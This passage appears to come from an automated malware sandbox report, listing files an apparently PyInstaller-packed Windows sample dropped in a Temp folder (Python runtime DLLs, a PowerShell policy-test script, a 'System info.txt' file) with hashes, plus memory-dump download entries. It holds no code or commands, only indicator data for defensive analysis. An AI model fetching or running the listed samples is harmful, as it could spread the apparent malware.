SHA1 fad8b25d9fe1c814ed307cdfddb5cd6fe778d364
SHA512 3334d2ad9811e3be70b5a9fd84bc725c717a3ac59e2fd87e178cb39ac9172db7f9ec793011c4e613a89773b4f2425be66d44a21145a9051bed35f55a483759cc
SSDEEP 3072:m0k3SXjD9aWpAn3rb7SbuDlvNgS4fWq0znfo9mNoXTSlvpBAxhIve1xc7:m0kiXjD9v8X7EukAwYOXTCexo
TLSH
T136E32892A394F0E6F3628C38D6624F57D7F578090320929A02CC976D2B1FB759E2E717
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_overlapped.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_overlapped.pyd
Size 45KB
SHA256 622171218fab2952c569acdbf0489d0098fa0664f61624d1c4f040410731be41
MD5 84609daeef4ebd0725098c74a3772cbb
SHA1 d4a9487f34ea36d097ecbba53a9410be268944af
SHA512 b80e77d851137181445c8056abecf8b40647d49458897e306409f56084196cbef03d12d64ac2abd351dc6901fb5b3914bb5dbc5d490cfdb1aebb04be41e02eeb
SSDEEP 768:KAM30iXUtee0Vb47XTTrlzXFOPRcqdc5U9IvstzYiSyvKpeE1:KAM3hRdcqd19Ivstz7SyipL
TLSH
T1B5236C42675800DDDA67827D94631E17E97478E04711C39FA268CB4E1F323D16BBB3DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_queue.pyd
Size 27KB
SHA256 827a07b27121200ed9fb2e9efd13ccbf57ca7d32d9d9d1619f1c303fb4d607b7
MD5 c8a1f1dc297b6dd10c5f7bc64f907d38
SHA1 be0913621e5ae8b04dd0c440ee3907da9cf6eb72
SHA512 e5f07935248f8d57b1f61fe5de2105b1555c354dd8dd98f0cff21b08caba17b66272a093c185ca025edb503690ba81d5fa8b7443805a07338b25063e2f7ea1b1
SSDEEP 768:xxrUGCpj6rIydKp2VFIv7U/YiSyvcgeEH:DrU8IM22VFIv7U/7Sy0gB
TLSH
T1CAD29EC2AA585896D033C17094A35E19F931F791871183EF3329C36D1F237826BBA76B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_socket.pyd
Size 74KB
SHA256 9558dda6a3f6ad0c3091d643e2d3bf5bf20535904f691d2bdb2ce78edf46c2da
MD5 f59ddb8b1eeac111d6a003f60e45b389
SHA1 e4e411a10c0ad4896f8b8153b826214ed8fe3caa
SHA512 873c6841ebf38b217465f1ead02b46a8823ef1de67d6608701e30faf5024ed00ab3c4cc4aa8c4836552ecdb16c7470fe965cf76f26ee88615746d456ff6a2bcf
SSDEEP 1536:vmtvsZWgzruIAe9/s+S+ppyXc/+lvFIvQwx7SyWDd:u5IJzrAe9/sT+pp8c/SvFIvQwxQDd
TLSH
T1EE734A12A69051B9D67381BAC5635F23FB70F490179593CF1260CA6E1F237829E3EBD2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_sqlite3.pyd
Size 93KB
SHA256 6dfb89e5c0b6c5c81ab081d3fdf5f35921466d2ddcede5394d3c4516655b66e0
MD5 34abb557f431aa8a56837a2a804befeb
SHA1 c4ad5e35ef6971991dd39b06d36b8f61ef039061
SHA512 e078eaadecbbf57b618d301910b72a2737c65f1bbb3999fe8523396ce3a46eef1a774b94221eb83678e0e8c5e92459f3d45192535a498fd4d981b580c337a850
SSDEEP 1536:rPBE0MddfNjudSZa9m5acMg1jjjl3Dvrg/8PBw8NRTxOCDglz7HyymrZQKLTwAY2:7Bid1juxPYBzvrgkO6RBeyV9NARZIv5V
TLSH
T17C93295AA34000A8FAA790B8C5630F53DB75F8515B2153CF56A4C64A2F333C36F7AB96
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\_ssl.pyd
Size 153KB
SHA256 41278e309382c79356c1a4daf6dbb5819441d0c6e64981d031cda077bb6f1f79
MD5 80f2475d92ad805439d92cba6e657215
SHA1 20aa5f43ca83b3ff07e38b00d5fbd0cf3d7dbbab
SHA512 618cd6ca973a0b04159a7c83f1f0cda5db126a807982983fea68f343c21e606a3cdb60b95a2b07f4d9379149d844755b9767fea0a64dd1d4451ab894a1f865b5
SSDEEP 3072:09Y1GpXg28PqCBWZxVkc85/u9NkFc8j8V+AOXLkdWXxZIIkjIIhIvt79oF2:09Y0BgdqCETaXu9K6V+RrIE
TLSH
T1F9F37C47F28419A7E813E4BDC6630A42E7B5F045231197CE49D6C68A0F13B46AF7AF63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\base_library.zip
Size 812KB
SHA256 53169de063cdc8eee9418ae9c864f01ee9c356a27924ccb248eca5ed3f4178ec
MD5 f6767715fa871fb8bcce717f5eededc7
SHA1 b2fa0e26250ffc146ed9a6fb8d8d75e2414218e4
SHA512 0da2ef48f49cb6500c5075eaf54b18431d034381db6866f94242e503f886592e45b149576da4bb1a093a2cf5782188a1da5ff52a1c2aea1e9c154316c98f5d41
SSDEEP 12288:OEHYKPY+WygVqFcIWuA4a2YCdYVwxDfpEF4jSRMNS1:OEHYMVgWLa2eVwxDfpEF4GMNS1
TLSH
T11605288069911ED7FD09F278815F8E3C069AB33ADB89D583BA4FC2D8BF071E0199565C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-1_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\libcrypto-1_1.dll
Size 3.3MB
SHA256 9c0a0a11629cced6a064932e95a0158ee936739d75a56338702fed97cb0bad55
MD5 ab01c808bed8164133e5279595437d3d
SHA1 0f512756a8db22576ec2e20cf0cafec7786fb12b
SHA512 4043cda02f6950abdc47413cfd8a0ba5c462f16bcd4f339f9f5a690823f4d0916478cab5cae81a3d5b03a8a196e17a716b06afee3f92dec3102e3bbc674774f2
SSDEEP 98304:kw+jlHDGV+EafwAlViBksm1CPwDv3uFfJ1:1slHDG2fwAriXm1CPwDv3uFfJ1
TLSH
T1E2F58C5AA3AC0184E5FAC17CC9574727E7B1B45A93B09BCF08A681780F27BD6273DB44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-7.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\libffi-7.dll
Size 32KB
SHA256 f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081
MD5 eef7981412be8ea459064d3090f4b3aa
SHA1 c60da4830ce27afc234b3c3014c583f7f0a5a925
SHA512 dc9ff4202f74a13ca9949a123dff4c0223da969f49e9348feaf93da4470f7be82cfa1d392566eaaa836d77dde7193fed15a8395509f72a0e9f97c66c0a096016
SSDEEP 384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
TLSH
T1CFE26B0B665059F0FA57C43A9766DE2AD73676301350A2CF02F5C2A62F5BBE0A63D209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libssl-1_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\libssl-1_1.dll
Size 682KB
SHA256 ed1c8769f5096afd000fc730a37b11177fcf90890345071ab7fbceac684d571f
MD5 de72697933d7673279fb85fd48d1a4dd
SHA1 085fd4c6fb6d89ffcc9b2741947b74f0766fc383
SHA512 0fd4678c65da181d7c27b19056d5ab0e5dd0e9714e9606e524cdad9e46ec4d0b35fe22d594282309f718b30e065f6896674d3edce6b3b0c8eb637a3680715c2c
SSDEEP 12288:waXWJ978LddzAPcWTWxYx2OCf2QmAr39Zu+DIpEpXKWRq0qwMUxQU2lvz:dddzAjKnD/QGXKzpwMUCU2lvz
TLSH
T173E43A95ABB51498D5E6C17C8A534A33E3BAF4141330AFCF0661893E0F17BD92B3A758
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_psutil_windows.cp310-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\psutil\_psutil_windows.cp310-win_amd64.pyd
Size 64KB
SHA256 a47da972f8440f6713328c5d9e5d805a0fb5d6325e45ed921f0f86c1ca662b59
MD5 7c46d46a2ffdf05793e83c9fabf472ff
SHA1 27d38da2cfd0b8fb35671d7fa3739d7446d0ac09
SHA512 2ff79a51991cf5a6efbaf6135096c53b3614d1d772852892745c3e44f871caf52c374e4fd8d794c3f04c0a54dd77d1a0acf10cb9c43875409d9598980e79aff7
SSDEEP 1536:7/bO3T5adJmg67bjmTLAQk45Q1WYo3Kvr:4PjmTLAQk45Q1WYo3Kvr
TLSH
T107534C96B35800F8D91A923CC9B35A23E572B062172697DF06B0C69A0F66BD3677DF01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pyexpat.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\pyexpat.pyd
Size 191KB
SHA256 e41cff213307b232e745d9065d057bcf36508f3a7150c877359800f2c5f97cfc
MD5 4cb923b0d757fe2aceebf378949a50e7
SHA1 688bbbae6253f0941d52faa92dedd4af6f1dfc3b
SHA512 9e88542d07bd91202fcf13b7d8c3a2bbd3d78e60985b45f4fa76c6cd2a2abdee2a0487990bea0713f2ad2a762f120411c3fbbfaa71ef040774512da8f6328047
SSDEEP 3072:yAYH5Hlzb+A9WJHX2088fYSi/qHi13hx+1Nsw3YdyCyIzfMsSzyo+Om3i3nlxvub:yL5F/+A9WJGH8QSiyHiSN9oyCyWfvy+b
TLSH
T1D5146C5B71A6C0EBD8938038D6D78B0BDAB1B8A5039087CF1294E77D5F27B523E68315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python310.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\python310.dll
Size 4.2MB
SHA256 5783c5c5a3ffce181691f19d27de376a03010d32e41360b72bcdbd28467cfcc5
MD5 e9c0fbc99d19eeedad137557f4a0ab21
SHA1 8945e1811ceb4b26f21edcc7a36dcf2b1d34f0bf
SHA512 74e1289683642ae2bc3cf780a07af1f27fed2011ef6cc67380f9c066c59d17a2fb2394a45a5c6cd75dad812a61093fdbd0f2108925f5c58fc6644c1c98be5c0b
SSDEEP 49152:sjpL4R07dkqlAC+j5mum37j64+QNdhIomafXXPoMpBdr3AtoD1s3tvVIdHwHasMD:sjpPkqe1t4zf3Ty9ydQHvMl/SE98EL
TLSH
T111267C22A26411A4D9B79477C523864BCBF1FC442F24D34A41A4BAD92F73BA317EF706
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pythoncom310.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\pythoncom310.dll
Size 673KB
SHA256 863a72a5c93eebaa223834bc6482e5465379a095a3a3b34b0ad44dc7b3666112
MD5 020b1a47ce0b55ac69a023ed4b62e3f9
SHA1 aa2a0e793f97ca60a38e92c01825a22936628038
SHA512 b131e07de24d90a3c35c6fa2957b4fe72d62b1434c3941ad5140fb1323aacba0ec41732dac4f524dc2f492b98868b54adc97b4200aa03ff2ba17dd60baea5a70
SSDEEP 12288:dvEYPYeQllELFlHniueSj0FONGpdhA4d:dvEYQ/EpRnPIONR
TLSH
T12EE4184663E50A96F627E13E8C538B06D3A3B4111B9197CF41A0C76E1F137E62B3AB71
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pywintypes310.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\pywintypes310.dll
Size 143KB
SHA256 55969e688ad11361b22a5cfee339645f243c3505d2963f0917ac05c91c2d6814
MD5 bd1ee0e25a364323faa252eee25081b5
SHA1 7dea28e7588142d395f6b8d61c8b46104ff9f090
SHA512 d9456b7b45151614c6587cee54d17261a849e7950049c78f2948d93a9c7446b682e553e2d8d094c91926dd9cbaa2499b1687a9128aec38b969e95e43657c7a54
SSDEEP 3072:Zqz4xNmJF8Chf2YrrC0DdmBEUWfc5fTKoCsCxyYGu:ZqExALhf2YrrC0gWUWfc5fTKxsoyY
TLSH
T1CEE33A47374684DAEA26D37D8DA70902D3A2B0110311E3CF06A5C29B5F63BE66E3F657
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\select.pyd
Size 26KB
SHA256 149427a8d58373351955ee01a1d35b5ab7e4c6ac1a312daa9ba8c72b7e5ac8a4
MD5 994a6348f53ceea82b540e2a35ca1312
SHA1 8d764190ed81fd29b554122c8d3ae6bf857e6e29
SHA512 b3dfb4672f439fa43e29e5b1ababca74f6d53ea4bad39dfe91f59382e23dbb2a3aea2add544892e3fcd83e3c5357ee7f09fe8ab828571876f68d76f1b1fcee2f
SSDEEP 384:rPjk/7e12hwheCzHqNYBsVRX+MIv7GnIYiSy1pCQaKEJ94i/8E9VFShf:TUC2hwhHHqyYVFIv7GIYiSyvQJ9eEwf
TLSH
T1D3C28F56AB909C86E8238571A5E58F06ED35B6A04720C3CF3365C21D2F12BC177BB76A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqlite3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\sqlite3.dll
Size 1.4MB
SHA256 4b3f88de7acfcac304d1d96f936d0123ad4250654e48bd412f12a7bd8ec7ebb3
MD5 4ca15508e6fa67f85b70e6096f44ccc9
SHA1 8d2ad53c9dc0e91a8f5ab0622f559254d12525d9
SHA512 581aa0b698045c55778e7c773c7c326fcafa39aa9a248f91d061c49096a00b3a202d3746c5a8d33100b9bc57910299db6858b7ef9337ae628d3041f59e9b4df6
SSDEEP 24576:jIj3BCc7py/2dyvc90ql1mK1Ty4fGGxKjlG4PB6rqI191DGBJeSgyGq:jwMcyySc/mK5F+Gxn4Y31W73Z
TLSH
T1A3658D5BF2B800ADD1A7C17AC61B5707EBB2B40517609BDB5594CA652F13FE20BBE320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ucrtbase.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\ucrtbase.dll
Size 993KB
SHA256 962c50afcb9fbfd0b833e0d2d7c2ba5cb35cd339ecf1c33ddfb349253ff95f36
MD5 9679f79d724bcdbd3338824ffe8b00c7
SHA1 5ded91cc6e3346f689d079594cf3a9bf1200bd61
SHA512 74ac8deb4a30f623af1e90e594d66fe28a1f86a11519c542c2bad44e556b2c5e03d41842f34f127f8f7f7cb217a6f357604cb2dc6aa5edc5cba8b83673d8b8bd
SSDEEP 24576:ZLyubutYBWSlhrANUDk8ExrmxvSZX0ypFiR+o:dyubJvlhrVETiR+o
TLSH
T16425AE64FA5C0AA6D57BE07CC95B550FE972340243708ACF02EA4FB96E2BBD91637311
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\unicodedata.pyd
Size 1.1MB
SHA256 0f27f26d1faa4f76d4b9d79ad572a3d4f3bbe8020e2208d2f3b9046e815b578a
MD5 c01a5ce36dd1c822749d8ade8a5e68ca
SHA1 a021d11e1eb7a63078cbc3d3e3360d6f7e120976
SHA512 3d4e70a946f69633072a913fe86bada436d0c28aca322203aa5ec9d0d7ae111129516d7adb3fdeef6b1d30b50c86c1de2c23a1bc9fba388474b9d9131c1e5d38
SSDEEP 12288:rdlBMmuZ63NAQCb5Pfhnzr0ql8L8koM7IRG5eeme6VZyrIBHdQLhfFE+u+SQ:hlBurZV0m8wMMREtV6Vo4uY+SQ
TLSH
T18F355909B9C24EE6E88B06B940D3117B2F61C1720F1B6B4F76A5532D9C763A34EE653C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32api.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI18442\win32api.pyd
Size 136KB
SHA256 a6949ead059c6248969da1007ea7807dcf69a4148c51ea3bc99c15ee0bc4d308
MD5 fc7b3937aa735000ef549519425ce2c9
SHA1 e51a78b7795446a10ed10bdcab0d924a6073278d
SHA512 8840ff267bf216a0be8e1cae0daac3ff01411f9afc18b1f73ba71be8ba70a873a7e198fd7d5df98f7ca8eee9a94eab196f138a7f9f37d35c51118f81860afb7d
SSDEEP 3072:eIxjTLr/oigMxUbZRDrNlRVSELa8BoXtqsTUJCygmt78brq/e:vTAigxbZN5lRVBsTgCyb8Hq
TLSH
T132D30993739410D6D86AA7BCC5A25A13D7B2B8240721A7CF0560C54B4F23BE97E3CBE5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_1adbzalj.3z3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1adbzalj.3z3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

System info.txt

Path C:\Users\Admin\AppData\Local\Temp\tmplij5tziy\System info.txt
Size 803B
SHA256 1422dda8badabd00721a89b73547b14001c1ba709c17d6a820bfd00b4dedcb3d
MD5 38cef2d44358016bdec3eeefbef0295c
SHA1 d82319db70a7639a803c1d621af76bc91f4785d6
SHA512 ab921f8d1b12935254c4c77e7eb464d6b49ddc1a9f701b91c72876dff0f046d85847d25aa46a92e20ac894cbd7580540503fd876356588cae34372811d5a7df3
TLSH
T17A018BF3112514A62F95C4F85A6B9D0C3BF22058ECAEB1E9F02485C85FA072F1BCB455
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3888-433-0x00000226E8FA0000-0x00000226E8FAE000-memory.dmp

Download

memory/4588-432-0x0000015887680000-0x0000015888024000-memory.dmp

Download

memory/5564-213-0x00007FFB45880000-0x00007FFB46224000-memory.dmp

Download

memory/5564-219-0x00007FFB45880000-0x00007FFB46224000-memory.dmp

Download

memory/5564-220-0x00007FFB45880000-0x00007FFB46224000-memory.dmp

Download

memory/5564-217-0x00007FFB45880000-0x00007FFB46224000-memory.dmp

Download

memory/5564-216-0x00007FFB45880000-0x00007FFB46224000-memory.dmp

Download

memory/5564-215-0x00007FFB45880000-0x00007FFB46224000-memory.dmp

Download

memory/5564-214-0x00007FFB45880000-0x00007FFB46224000-memory.dmp

Download

memory/5564-212-0x000001BE7AF20000-0x000001BE7AF42000-memory.dmp

Download

memory/5564-209-0x00007FFB45A0F000-0x00007FFB45A10000-memory.dmp

Download